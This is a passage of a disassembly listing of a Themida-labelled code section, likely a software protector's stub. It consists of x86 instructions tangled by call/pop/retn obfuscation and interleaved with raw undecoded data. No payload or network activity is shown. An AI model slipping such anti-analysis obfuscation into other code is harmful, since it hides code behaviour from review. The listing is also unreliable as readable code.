; ---------------------------------------------------------------------------
		align 10h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_588953:				; CODE XREF: Themida_:0058894Dj
		push	ebx
		jb	loc_588960
		mov	esi, [ebp+60F1E11h]


loc_588960:				; CODE XREF: Themida_:00588954j
		pop	edi
		push	0
		push	esi
		call	sub_58896C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58896C	proc near		; CODE XREF: Themida_:00588964p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_58896C	endp

; ---------------------------------------------------------------------------
		dd 818263CEh, 830F56F6h, 6, 33E5BD8Bh, 8B5E060Fh, 0F2645B5h
		dd 61858D06h, 81060F14h, 0B6693AEEh, 6653500Bh,	5E828DBEh
		dd 66240489h, 6AE3A9BFh, 0FFBF0F00h, 128B0Fh, 9E80000h
		dd 3000000h, 706143EFh,	369C88D6h, 5EF1BF0Fh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 9BA0E1C3h, 0FE8B66C6h, 0DC0C858Dh, 0BD8B0612h, 60F302Dh
		dd 6A05C083h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 6026C352h, 241DBD33h, 0D980060Fh
		dd 6690613Ah, 5016ACBFh, 6A90F28Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B6DC356h
		dd 0F236DBDh, 0BE85006h, 79000000h, 92D895A7h, 3D9BCD52h
		dd 0FE8B9612h, 6A5F5Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 10C35242h, 8B603F32h,	6149B4DFh, 0FE9BD8Bh
		dd 6A060Fh, 22C68166h, 8D95FFDDh, 8B060F34h, 0F3015B5h
		dd 5E9D8D06h, 66061298h, 0FFB86EBFh, 2DBD8BD3h,	0FF060F19h
		dd 0F245985h, 13870F06h, 0E9000000h, 0Eh, 7C6157FEh, 9746045h
		dd 0E3C21471h, 21E9C3C4h, 0E800000Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 612DC16h
		mov	[ebp+60F24F5h],	eax
		cmp	dword ptr [ebp+60F00FDh], 7D0h
		jbe	loc_588C4E
		push	0
		push	eax
		call	sub_588B08
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588B08	proc near		; CODE XREF: Themida_:00588B00p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_588B08	endp

; ---------------------------------------------------------------------------
		sub	eax, 775196D3h
		sub	[ebp+60F0829h],	edx
		mov	ebx, [ebp+60F0019h]
		and	ebx, 100h
		pusha
		sub	[ebp+60F0181h],	eax
		popa
		or	ebx, ebx
		jnz	loc_588BCD
		mov	si, bx


loc_588B42:				; CODE XREF: Themida_:00588B6Bj
		cmp	dword ptr [ebp+612DA85h], 0
		jz	loc_588B7D
		push	0
		push	ecx
		call	sub_588B5A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588B5A	proc near		; CODE XREF: Themida_:00588B52p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_588B5A	endp

; ---------------------------------------------------------------------------
		push	ecx
		jl	short loc_588B42
		enter	0FFFF83CCh, 84h
		dec	eax
		mov	edi, [ebp+60F1055h]
		jmp	loc_588BF6
; ---------------------------------------------------------------------------


loc_588B7D:				; CODE XREF: Themida_:00588B49j
		mov	dword ptr [ebp+612DA85h], 1
		push	0
		push	edi
		call	sub_588B92
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588B92	proc near		; CODE XREF: Themida_:00588B8Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_588B92	endp

; ---------------------------------------------------------------------------
		xor	eax, [ecx+ecx*4-7Bh]
		pop	ecx
		sub	cl, [edi]
		push	es
		jmp	loc_588BF6
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_588BBA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588BBA	proc near		; CODE XREF: Themida_:00588BB2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_588BBA	endp

; ---------------------------------------------------------------------------
		dw 9B6Ah
		db 0
; ---------------------------------------------------------------------------


loc_588BCD:				; CODE XREF: Themida_:00588B39j
		mov	dword ptr [ebp+612DA85h], 0
		push	0
		push	esi
		call	sub_588BE2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588BE2	proc near		; CODE XREF: Themida_:00588BDAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_588BE2	endp

; ---------------------------------------------------------------------------
		inc	eax
		mov	si, ax


loc_588BF6:				; CODE XREF: Themida_:00588B78j
					; Themida_:00588BAAj
		lea	ebx, [ebp+60F0019h]
		push	0
		push	edx
		call	sub_588C07
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588C07	proc near		; CODE XREF: Themida_:00588BFFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_588C07	endp

; ---------------------------------------------------------------------------
		db 0ABh
		dd 0F882F68h, 1A8D8D09h, 2381060Fh, 0FFFFFEFFh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BEC35242h, 60DADAD4h
		dd 66190FB3h
; ---------------------------------------------------------------------------
		mov	edi, eax


loc_588C4E:				; CODE XREF: Themida_:00588AF7j
		mov	bx, ds
		stc
		test	bl, 4
		jz	loc_588CC1
		push	0
		push	ebx
		call	sub_588C66
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588C66	proc near		; CODE XREF: Themida_:00588C5Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_588C66	endp

; ---------------------------------------------------------------------------
		retn	1821h
; ---------------------------------------------------------------------------
		xor	al, 4Eh
		mov	edi, [ebp+60F2EBDh]
		call	dword ptr [ebp+60F3449h]
		push	0
		push	edx
		call	sub_588C92
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588C92	proc near		; CODE XREF: Themida_:00588C8Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_588C92	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ebp
		cmp	cl, [ebx+0F1241B5h]
		push	es
		mov	[ebp+60F1BA1h],	ebx
		push	eax
		push	ecx
		mov	si, 0F681h
		pop	edi
		mov	[esp], eax
		mov	[ebp+60F18A9h],	edx


loc_588CC1:				; CODE XREF: Themida_:00588C55j
		jmp	loc_5891B0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_588CD1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588CD1	proc near		; CODE XREF: Themida_:00588CC9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_588CD1	endp

; ---------------------------------------------------------------------------
		db 85h,	0CCh, 4Eh
		dd 5870F48h, 0BE000000h, 0E70151Ch, 70E600B0h, 0AFE2BE51h
		dd 8B5F7889h, 5071E4FAh, 2624DF81h, 0F5E639Ah, 6AD8B6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0D6DD99C3h, 6BAh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 90E8BD77h, 33A58589h
		dd 0C38B060Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	3EC35747h, 3B29F313h, 7C47BD64h, 0B5B58B73h, 8B060F33h
		dd 4E8C1F3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0EEC35040h, 30E71FD7h, 2331BB95h, 0F0A7DB5h, 958B6006h
		dd 60F131Dh, 0BE9h, 0EA74C00h, 6BADF61Ah, 7758F96Eh, 0E2F76661h
		dd 38B0Fh, 0BF0F0000h, 0DD9D89F2h, 2B060F2Ah, 51006AD8h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0CF4C7EAAh, 820Fh, 50500000h, 52310F52h, 810Fh, 5A5F0000h
		dd 241C8958h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	62C35242h, 20C6128Dh, 3B89FC44h, 68C0F04h, 8B000000h
		dd 0F1BEDB5h, 0FDB5FF06h, 6A060F00h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BF66C352h
		dd 813A0F7Eh, 668A597Eh, 0FFEBC0BEh, 0F345195h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 7882F820h, 291C2A02h, 8E8BEh, 12740000h, 0C5F48B47h
		dd 8D0F7B1Ah, 1, 0B05FF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0A9C35343h, 0F7CD76D8h, 0E470E668h, 0AE871h
		dd 0C4B40000h, 0A51B3C2h, 5D898605h, 2CE8BF66h,	0F613C5Eh
		dd 2BF83h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0F2B375BCh, 1AC5BD8Bh, 890F060Fh
		dd 6, 43FDE681h, 0B60F7B21h, 50006AD8h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 3E7FD5EDh
		dd 0B1E5A157h, 0BF0F6081h, 6BA61D3h, 0F000000h,	0C38BF9B7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 91C35646h
		dd 0A38A6689h, 0E8BB2177h, 10h,	0C0AC3C6Bh, 0FDDE7328h
		dd 0A7A57FA2h, 4492E231h, 1705BD89h, 0C15E060Fh, 6A04E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 49EFA9C3h, 0C4523383h, 33C1B503h, 8B66060Fh,	0E2F766F7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 79C35545h
		dd 8B34C0C8h, 0F3441BDh, 8BD82B06h, 0F335DBDh, 6A5806h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 8A1347C3h, 0FC3FD22Eh, 295286FAh, 0F112185h,	0D82B5F06h
		dd 186880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 6E9D10C3h, 0F00233Bh, 0F9C425ACh
		dd 0DD59589h, 7B9060Fh,	3000000h, 0F00B1BDh, 0C18306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F4C35141h
		dd 860FD93Bh, 128h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0C3C35242h, 66A4E0ECh, 31AAE681h, 15DB58Bh
		dd 9529060Fh, 60F18FDh,	6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 47DEC353h
		dd 541A94C7h, 0CFE29CF4h, 0F38DCFBFh, 4C1F615h,	87840Fh
		dd 8B660000h, 4995FFF2h, 6A060F34h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 5FC3C351h
		dd 67846EBh, 85015B10h,	60F24A9h, 8B66C32Bh, 0DE9F1h, 4ABC0000h
		dd 24BF6CBAh, 33B187A9h, 3DD444B8h, 834h, 33860Fh, 85310000h
		dd 60F2A45h, 63E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A05E0AD0h, 33B738FEh
		dd 0F190DB5h, 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0ED1DC357h,	0C7D2298h
		dd 0FE9EDh, 43D20000h, 86C5B89Ah, 41B6449h, 68D75176h
		dd 0FE8B669Bh
; ---------------------------------------------------------------------------


loc_5891B0:				; CODE XREF: Themida_:loc_588CC1j
		mov	eax, ebx
		mov	ebx, eax
		mov	esi, [ebp+60F0D11h]
		mov	dword ptr [ebp+60F28B5h], 37F69F37h
		push	0
		push	ebx
		call	sub_5891CF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5891CF	proc near		; CODE XREF: Themida_:005891C7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5891CF	endp

; ---------------------------------------------------------------------------
		stosb
		pop	ebp
		pop	eax
		sbb	ebp, eax
		dec	esi
		mov	word ptr [esi],	fs
		mov	al, bh
		mov	eax, eax
		jmp	loc_5891F7
; ---------------------------------------------------------------------------
		test	dword ptr [edi-6Ah], 190D2AFDh


loc_5891F7:				; CODE XREF: Themida_:005891EBj
		cmp	dword ptr [ebp+60F00FDh], 7D0h
		jnz	loc_589233
		push	0
		push	ebp
		call	sub_589212
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589212	proc near		; CODE XREF: Themida_:0058920Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_589212	endp

; ---------------------------------------------------------------------------
		dw 0EB56h
		dd 0B305BFCFh, 85FF2AB3h, 60F00FDh
; ---------------------------------------------------------------------------
		mov	di, cx


loc_589233:				; CODE XREF: Themida_:00589201j
		push	dword ptr [ebp+60F00FDh]
		push	0
		push	esi
		call	sub_589244
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589244	proc near		; CODE XREF: Themida_:0058923Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_589244	endp

; ---------------------------------------------------------------------------
		pop	ebx
		sbb	[esi], bl
		pminub	mm0, qword ptr [ebx-2E749FA0h]
		popa
		mov	[ebp+60F330Dh],	ebx
		popa
		call	dword ptr [ebp+60F3451h]
		push	0
		push	eax
		call	sub_589277
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589277	proc near		; CODE XREF: Themida_:0058926Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_589277	endp

; ---------------------------------------------------------------------------
		and	al, 9Eh
		mov	cl, 64h
		retn
; ---------------------------------------------------------------------------
		xor	eax, 0F19D8977h
		xor	[edi], ecx
		push	es
		nop
		inc	eax
		push	0
		push	ebp
		call	sub_5892A1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5892A1	proc near		; CODE XREF: Themida_:00589299p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5892A1	endp

; ---------------------------------------------------------------------------
		scasd
		inc	ax
		push	eax
		and	eax, [edi]
		js	loc_5892C3
		mov	esi, [ebp+60F18B9h]


loc_5892C3:				; CODE XREF: Themida_:005892B7j
		mov	[ebp+60F0899h],	edi
		cmp	dword ptr [ebp+60F220Dh], 0
		jz	loc_589397
		push	0
		push	ebp
		call	sub_5892E1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5892E1	proc near		; CODE XREF: Themida_:005892D9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5892E1	endp

; ---------------------------------------------------------------------------
		jmp	short loc_589326
; ---------------------------------------------------------------------------
		pop	edx
		mov	al, 90h
		fstp	tbyte ptr [esi-0Dh]
		stosb
		jmp	loc_589308
; ---------------------------------------------------------------------------
		db 0F8h
		dd 6D35F156h, 81E1E08Fh
; ---------------------------------------------------------------------------


loc_589308:				; CODE XREF: Themida_:005892FAj
		cmp	dword ptr [ebp+60F21D5h], 0
		jz	loc_589397
		movzx	edi, di
		call	dword ptr [ebp+60F220Dh]
		push	0
		push	edx
		call	sub_589329


loc_589326:				; CODE XREF: Themida_:005892F1j
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589329	proc near		; CODE XREF: Themida_:00589321p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_589329	endp

; ---------------------------------------------------------------------------
		db 0F7h, 3Eh, 9Fh
		dd 0FF2529D5h, 35B5239Fh, 0B060F13h, 48840FC0h,	81000000h
		dd 0A4ADBFC6h, 0A78D8D5Ah, 53060F4Ch, 5B85Fh, 0BD010000h
		dd 60F0781h, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0DE0D61C3h, 850FC157h, 3, 66F0BF0Fh
		db 0BEh, 0Ch, 0A3h
; ---------------------------------------------------------------------------


loc_589397:				; CODE XREF: Themida_:005892D0j
					; Themida_:0058930Fj
		cmp	dword ptr [ebp+60F1751h], 0
		jz	loc_5899CB
		push	0
		push	eax
		call	sub_5893AF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5893AF	proc near		; CODE XREF: Themida_:005893A7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5893AF	endp

; ---------------------------------------------------------------------------
		push	esi
		push	esi
		xchg	eax, edi
		sub	cs:[ebp+60F3331h], edx
		mov	edi, [ebp+60F28B1h]
		cmp	dword ptr [ebp+60F21D5h], 0
		jz	loc_5899CB
		push	0
		push	ebx
		call	sub_5893E7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5893E7	proc near		; CODE XREF: Themida_:005893DFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5893E7	endp

; ---------------------------------------------------------------------------
		db 0F5h
		dd 898DE953h, 0F2199BDh, 198D8D06h, 6A060F1Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0C7A4C356h, 0B27C8401h, 50006A44h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 92857797h
		dd 0CFCB0181h, 830F1499h, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ecx+4], 0CE706B34h
		push	0
		push	ebp
		call	sub_589466
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589466	proc near		; CODE XREF: Themida_:0058945Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_589466	endp

; ---------------------------------------------------------------------------
		xor	[eax], dl
		push	0BD8BC01Ah
		push	ecx
		sub	al, 0Fh
		push	es
		add	dword ptr [ecx+4], 31D6D710h
		add	[ebp+60F254Dh],	eax
		push	0
		or	[ebp+60F1E19h],	eax
		lea	eax, [ebp+60F1A19h]
		push	0
		push	ebx
		call	sub_5894A7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5894A7	proc near		; CODE XREF: Themida_:0058949Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5894A7	endp

; ---------------------------------------------------------------------------
		test	[ecx-1DC4005Fh], esi
		test	[ecx+5Ah], cl
		cmc
		push	eax
		push	esi
		push	eax
		pop	esi
		pop	edi
		mov	[esp], eax
		call	dword ptr [ebp+60F1751h]
		push	0
		push	esi
		call	sub_5894DA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5894DA	proc near		; CODE XREF: Themida_:005894D2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5894DA	endp

; ---------------------------------------------------------------------------
		add	byte ptr [esi-446D9C62h], 29h
		popf
		popf
		sub	[edi], cl
		push	es
		sub	[ebp+60F2DADh],	ebx
		lea	ecx, [ebp+60F1A19h]
		push	0
		push	edx
		call	sub_58950D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58950D	proc near		; CODE XREF: Themida_:00589505p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58950D	endp

; ---------------------------------------------------------------------------
		db 4Fh,	0E5h, 1Fh
		dd 13E9E5h, 0C4EE0000h,	0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h
		dd 0FF159F7Eh, 1C70Fh, 0E8000000h, 10h,	0D8B31B91h, 0E8EEDAD0h
		dd 77C700ABh, 73B01335h, 21A98D89h, 0C75F060Fh,	441h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 15C4DDC3h, 68C0F96h,	8B000000h, 0F33DDBDh, 0FC00B06h
		dd 7284h, 0E9565000h, 0Eh, 25A4AA95h, 0D183C78Ch, 5AB3DDE4h
		dd 5E5FEE30h, 4CA78D8Dh, 5B8060Fh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 3E50C357h, 53537322h, 5FF08B66h, 6AE1FF5Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 81FAC350h, 8FC974CFh, 6DE8104h, 8D2A6A7Ch, 0F1A198Dh
		dd 0F5B50906h, 0C7060F00h, 0AA727C01h, 51006A44h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 57F4CDF5h, 3C80D107h, 8E0F7F93h, 6, 1039B589h, 0BD8B060Fh
		dd 60F2D59h, 0CFCB0181h, 0CE811499h, 7AFE1F9Ch,	3C0441C7h
		dd 8BCE7875h, 0F3351BDh, 4418106h, 31D6D710h, 112DBD2Bh
		dd 0E4BE060Fh, 6A326083h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 722809FDh
		dd 0BA5CC5CEh, 0C130E681h, 85895ECFh, 60F1CE1h,	1A19858Dh
		dd 0BD33060Fh, 60F1481h, 8B6690F5h, 0E99050F3h,	0Ch, 0A5AC8F69h
		dd 0CD9FE6F6h, 28705306h, 6820Fh, 0BD890000h, 60F1D31h
		dd 175195FFh, 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 54737EC3h, 6E96Fh, 5FB50000h, 0B4BCD2EDh
		dd 1A198D8Dh, 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66D49FC3h, 1C7F38Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_589743
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589743	proc near		; CODE XREF: Themida_:0058973Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_589743	endp

; ---------------------------------------------------------------------------
		popa
		sub	byte ptr ds:0BF2388A3h[esi*2], 15h
		lahf
		xor	esi, 6C832BA6h
		mov	dword ptr [ecx+4], 0
		push	0
		push	ecx
		call	sub_589775
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589775	proc near		; CODE XREF: Themida_:0058976Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_589775	endp

; ---------------------------------------------------------------------------
		db 84h,	48h, 52h
		dd 0FABB0DBh, 684h, 14F78100h, 0B4D0DF9h, 67840FC0h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0EA05C350h, 37079D6Bh, 895EF98Ch,	0F1881BDh
		dd 0A78D8D06h, 8B060F4Ch, 0F1E59B5h, 5B806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 643C63C3h, 57F1A8ACh, 0B58B907Ah, 60F33CDh, 8D8DE1FFh
		dd 60F1A19h, 6870F60h, 89000000h, 0F081595h, 0C9B70F06h
		dd 0A501C761h, 8154CA95h, 99CFCB01h, 50006A14h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0C7EBF114h
		dd 59690441h, 12E9CE5Fh, 80000000h, 8BE317D8h, 0AA044F40h
		dd 0A40EA9DDh, 5A8B6DB9h, 4418198h, 31D6D710h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 95C35141h, 0C0DEF6Dh
		dd 6657F29Dh, 5F64A1BEh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 10386C3h, 0F338995h
		dd 19858D06h, 6A060F1Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 5844C353h, 4840FD8h
		dd 66000000h, 90FF80BEh, 0E880F51h, 0E8000000h,	8, 69E33EFh
		dd 5B1DAE6Eh, 90505F5Fh, 1709BD89h, 820F060Fh, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+60F1751h]
		push	0
		push	esi
		call	sub_58991D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58991D	proc near		; CODE XREF: Themida_:00589915p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58991D	endp

; ---------------------------------------------------------------------------
		db 2Eh,	0Ch, 74h
; ---------------------------------------------------------------------------
		add	eax, 8D94CBC0h
		lea	ebx, [ecx]
		sbb	cl, [edi]
		push	es
		sub	[ebp+60F08C9h],	esi
		mov	dword ptr [ecx], 0
		or	edi, [ebp+60F0119h]
		or	[ebp+60F33E9h],	edx
		mov	dword ptr [ecx+4], 0
		or	eax, eax
		jz	loc_5899CB
		push	0
		push	ebx
		call	sub_58996C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58996C	proc near		; CODE XREF: Themida_:00589964p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_58996C	endp

; ---------------------------------------------------------------------------
		dd 0A3D57924h, 48402EA8h, 6E8B9BEh, 0B0000000h,	0E64948A1h
		dd 0BD8B5F38h, 60F26DDh, 4CA78D8Dh, 0CF81060Fh,	49D863B2h
		dd 5B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 66E1FF3Dh
		db 0BFh, 0ABh, 0E3h
; ---------------------------------------------------------------------------


loc_5899CB:				; CODE XREF: Themida_:0058939Ej
					; Themida_:005893D6j ...
		add	ecx, edx
		jmp	near ptr dword_58897C+15Fh
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5899DD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5899DD	proc near		; CODE XREF: Themida_:005899D5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5899DD	endp

; ---------------------------------------------------------------------------
		db 0Bh,	98h, 20h
		dd 0CE2A4426h, 0B509012Dh, 60F1ADDh, 0BF66C18Bh, 9D29969Ch
		dd 60F1975h, 4EBh, 0F600000h, 280h, 61F28B00h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 58C35242h, 0F4D2463h
		dd 589h, 0FE70BF00h, 0F6815BE6h, 274F6486h, 1461858Dh
		dd 0BD8B060Fh, 60F1465h, 24048950h, 99F68166h, 0EE934h
		dd 0C0330000h, 6049BA29h, 27BAA708h, 0D87DD66Fh, 0CE9006Ah
		dd 0C2000000h, 7E1644h,	0CEEF9810h, 6A284D98h, 8B606000h
		dd 0F10B99Dh, 6E906h, 1F060000h, 76AB46DCh, 8B506161h
		dd 858D5FF9h, 612ECFCh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
